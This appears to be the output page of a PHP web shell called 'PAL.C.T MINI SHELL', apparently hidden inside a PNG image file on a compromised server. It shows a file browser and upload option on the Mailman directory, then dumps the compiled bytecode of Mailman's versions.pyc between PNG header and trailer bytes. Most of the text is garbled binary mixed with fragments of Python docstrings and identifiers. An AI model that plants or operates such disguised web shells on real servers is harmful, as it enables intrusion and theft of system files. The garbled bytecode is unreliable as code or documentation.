php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/
upload
files >> //usr/lib/mailman/Mailman/versions.pyc

Pc
@sdZddkZddklZlZddklZddklZddklZddk	l
Z
ddklZdd	k
lZd
ZdZgZdZd
ZdZdZdZdS(sRRoutines which rectify an old mailing list with current structure.

The MailList.CheckVersion() method looks for an old .data_version setting in
the loaded structure, and if found calls the Update() routine from this
module, supplying the list and the state last loaded from storage.  The state
is necessary to distinguish from default assignments done in the .InitVars()
methods, before .CheckVersion() is called.

For new versions you should add sections to the UpdateOldVars() and the
UpdateOldUsers() sections, to preserve the sense of settings across structural
changes.  Note that the routines have only one pass - when .CheckVersions()
finds a version change it runs this routine and then updates the data_version
number of the list, and then does a .Save(), so the transformations won't be
run again until another version change is detected.
iN(tListTypet
StringType(tmm_cfg(tUtils(tMessage(t_BounceInfo(tUNKNOWN(tsyslogcCsCt|t|t|t||t|t|dS(sHDispose of old vars and user options, mapping to new ones when suitable.N(t
ZapOldVarstUpdateOldUserstNewVarst
UpdateOldVarstCanonicalizeUserOptionstNewRequestsDatabase(tltstored_state((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/versions.pytUpdate1s




c
Cs6x/dD]'}t||ot||qqWdS(Nt
num_spawnstfilter_progtclobber_datetpublic_archive_file_dirtprivate_archive_file_dirtarchive_directorytminimum_removal_datet'minimum_post_count_before_bounce_actiontautomatic_bounce_actiontmax_posts_between_bounces(
RRRRRRRRRR(thasattrtdelattr(tmlisttname((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/versions.pyR<scCst||d}t|do7t|d}t|dp||_n|`nt|dpti|_nt|dp
g|_nt|dp
g|_	nt|dp
g|_
nt|dp
g|_nt|d	pti|_
nt|d
pti|_nt|do|iox5|iD]*}|i|p|ii|qQqQWx3|iD]%}|i|ti||ijqWd|_d|_nS|io{x5|iD]*}|i|p|ii|qqWx*|iD]}|i|tid
qWd|_d
|_n|ipCx*|iD]}|i|tid
qgWd
|_d
|_nx5|iD]*}|i|p|ii|qqWx3|iD]%}|i|ti||ijqWd|_d|_|`|`|`nt|do^|i}xH|D]@}|i|o|i|tidqS|i	i|qSW|`n|ddti|dd|dd|dd|dd|ddt|doH|io$tio
d
|_q<d|_n
d|_t|dnt|dpt|dtint|dpt|dti nt|doM|i!o|io
d|_qn|io
d
|_nt|dn(|i"djo|io
d
|_nt#|i$t%jo1h}x|i$D]}d||<qEW||_$nt#|i&t%jo1h}	x|i&D]}
d|	|
<qW|	|_&nt|dpt|dti'nx|i$i(D]}|i)|jo*t*i+||i$|i)<|i$|=qt#|i$|t,jo||i$|i)joqd
|i$|<qWx|i&i(D]}|i)|jo*t*i+||i&|i)<|i&|=qt#|i&|t,jo||i&|i)joqd
|i&|<qWd S(!sTransform old variable values into new ones, deleting old ones.
    stored_state is last snapshot from file, as opposed to from InitVars().cSst||o>|i|pt||t||nt||nt||o!|tj	ot|||ndS(s&Use specified old value if new value is not in stored state.

        If the old attr does not exist, and no newdefault is specified, the
        new attr is *not* created - so either specify a default or be positive
        that the old attr exists - or don't depend on the new attr.

        N(Rthas_keytsetattrtgetattrRt	uniqueval(toldnametnewnamet
newdefaultRtstate((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/versions.pytPreferStoredPs	tdont_respond_to_post_requeststrespond_to_post_requeststdefault_member_moderationtaccept_these_nonmembersthold_these_nonmemberstreject_these_nonmemberstdiscard_these_nonmemberstforward_auto_discardstgeneric_nonmember_actiont	moderatediitforbidden_posterstreminders_to_adminst
umbrella_listtauto_subscribetopen_subscribetclosedtprivate_rostert!mimimum_post_count_before_removalt'mimimum_post_count_before_bounce_actiontbad_posterstautomatically_removeRit
administriviatadmin_member_chunksizetposters_includes_membersi
tadmin_notify_mchangesN(-R"RR!R)R(Rt!DEFAULT_DEFAULT_MEMBER_MODERATIONR*R+R,R-R.tDEFAULT_FORWARD_AUTO_DISCARDSR/t DEFAULT_GENERIC_NONMEMBER_ACTIONR0R1tposterstisMembertappendt
getMemberstsetMemberOptiontModeratetmember_posting_onlyR2tDEFAULT_UMBRELLA_LISTR6tALLOW_OPEN_SUBSCRIBEtsubscribe_policyRR tDEFAULT_ADMINISTRIVIAtDEFAULT_ADMIN_MEMBER_CHUNKSIZER?tdata_versionttypetmembersRtdigest_memberstDEFAULT_ADMIN_NOTIFY_MCHANGEStkeystlowerRtLCDomainR(RRR'toldvaltaddrtmembert
forbiddensRRtmtdmemberstdmtk((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/versions.pyRLs




9


	



	


	


		
	
	








		








	4cCsm|d}|dd|dd|dd|dd|dd|d	d|d
d|dh|d
h|dd|dti|dg|dti|dd|ddC|dg|dg|dd|dd|dh|dh|dd|dti|dti|dti|dd |d!d |d"ti|d#ti|d$ti	|d%ti
|d&ti|d'ti|d(ti
|d)g|d*ti|d+ti|d,ti|d-ti|d.ti|d/h|d0d|d1d|d2ti|d3d|d4h|d5d ti|id6jo
d}nd7}|d8||d9d|d:g|d;d|d<ti|d=g|d>d|d?d|d@ti|dAti|dBtidCS(Ds9Add defaults for these new variables if they don't exist.cSs(t||pt|||ndS(N(RR (tattrtinitvalR((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/versions.pytadd_only_if_missingAstautorespond_postingsitautorespond_admintautorespond_requeststautoresponse_postings_textttautoresponse_admin_texttautoresponse_request_texttautoresponse_graceperiodiZtpostings_responsestadmin_responsestreply_goes_to_listtpreferred_languagetavailable_languagestdigest_volume_frequencytdigest_last_sent_attmod_passwordt	moderatorttopicsttopics_enabledttopics_bodylines_limititone_last_digestt	usernamestpersonalizetfirst_strip_reply_totunsubscribe_policytsend_goodbye_msgtinclude_rfc2369_headersitinclude_list_post_headertbounce_score_thresholdtbounce_info_stale_aftert bounce_you_are_disabled_warningst)bounce_you_are_disabled_warnings_intervalt&bounce_unrecognized_goes_to_list_ownertbounce_notify_owner_on_disabletbounce_notify_owner_on_removaltban_listtfilter_mime_typestpass_mime_typestfilter_contenttconvert_html_to_plaintextt
filter_actiontdelivery_statustmember_moderation_actiontmember_moderation_noticetnew_member_optionst	emergencythold_and_cmd_autoresponsestnews_prefix_subject_toosus-asciiitencode_ascii_prefixestnews_moderationtheader_filter_rulestscrub_nondigesttfilter_filename_extensionstpass_filename_extensionstmax_days_to_holdtnonmember_rejection_noticetcollapse_alternativestregular_exclude_liststregular_include_listsN(RtDEFAULT_SERVER_LANGUAGEtDEFAULT_DIGEST_VOLUME_FREQUENCYtNonetDEFAULT_FIRST_STRIP_REPLY_TOtDEFAULT_UNSUBSCRIBE_POLICYtDEFAULT_SEND_GOODBYE_MSGtDEFAULT_BOUNCE_SCORE_THRESHOLDtDEFAULT_BOUNCE_INFO_STALE_AFTERt(DEFAULT_BOUNCE_YOU_ARE_DISABLED_WARNINGSt1DEFAULT_BOUNCE_YOU_ARE_DISABLED_WARNINGS_INTERVALt.DEFAULT_BOUNCE_UNRECOGNIZED_GOES_TO_LIST_OWNERt&DEFAULT_BOUNCE_NOTIFY_OWNER_ON_DISABLEt&DEFAULT_BOUNCE_NOTIFY_OWNER_ON_REMOVALtDEFAULT_FILTER_MIME_TYPEStDEFAULT_PASS_MIME_TYPEStDEFAULT_FILTER_CONTENTt!DEFAULT_CONVERT_HTML_TO_PLAINTEXTtDEFAULT_FILTER_ACTIONtDEFAULT_NEW_MEMBER_OPTIONSRt
GetCharSetRnt"DEFAULT_FILTER_FILENAME_EXTENSIONStDEFAULT_COLLAPSE_ALTERNATIVEStDEFAULT_REGULAR_EXCLUDE_LISTStDEFAULT_REGULAR_INCLUDE_LISTS(RRbtencode((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/versions.pyR
?s



















































cCsh}x-|iiD]\}}|||i<qW||_xP|iiD]?}|i|pt|i|to|i|=qOqOWdS(s(Transform sense of changed user options.N(	t	passwordstitemsRVtbounce_infoRUREt
isinstancet
getBounceInfoR(RRR_tvR\((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/versions.pyR	s	 cCs3t|dddjodSh}xu|iiD]d\}}|djoq4n|i}d}|i|o||}n||O}|||<q4W||_x~|iiD]m\}}|i|p|i|=qn|i|ti	o*|i
|t|i|ti	dqqWd|_
dS(sFix up the user options.tuseropts_versioniNi(R!tuser_optionsRRRVRREtgetMemberOptionRtDisableDeliverytsetDeliveryStatusRRHR(RtoptionsR_Rtlcusertflags((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/versions.pyRs.

	
c
Cst|dh}|pdSx|iD]\}}|djo[xM|D]E}|d\}}|d}ti|ti}|i||qKW||=q+|djoGx9|D]1\}	}	}
}}|i|d||
tiqW||=q+t	dd	||i
q+WdS(
s?With version 1.2, we use a new pending request database schema.trequestsNtpostiit
add_memberRgterrorsDVERY BAD NEWS.  Unknown pending request type `%s' found for list: %s(R!Rtemailtmessage_from_stringRtHoldMessagetHoldSubscriptionRRRt
internal_name(
RtrR_RtptauthorttexttreasontmsgtigntdigestRYtpassword((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/versions.pyR
s,




(t__doc__RttypesRRtMailmanRRRtMailman.BouncerRtMailman.MemberAdaptorRtMailman.Logging.SyslogRRRR"RR
R	RR
(((sY/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/versions.pyt<module>!s 				e		$
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`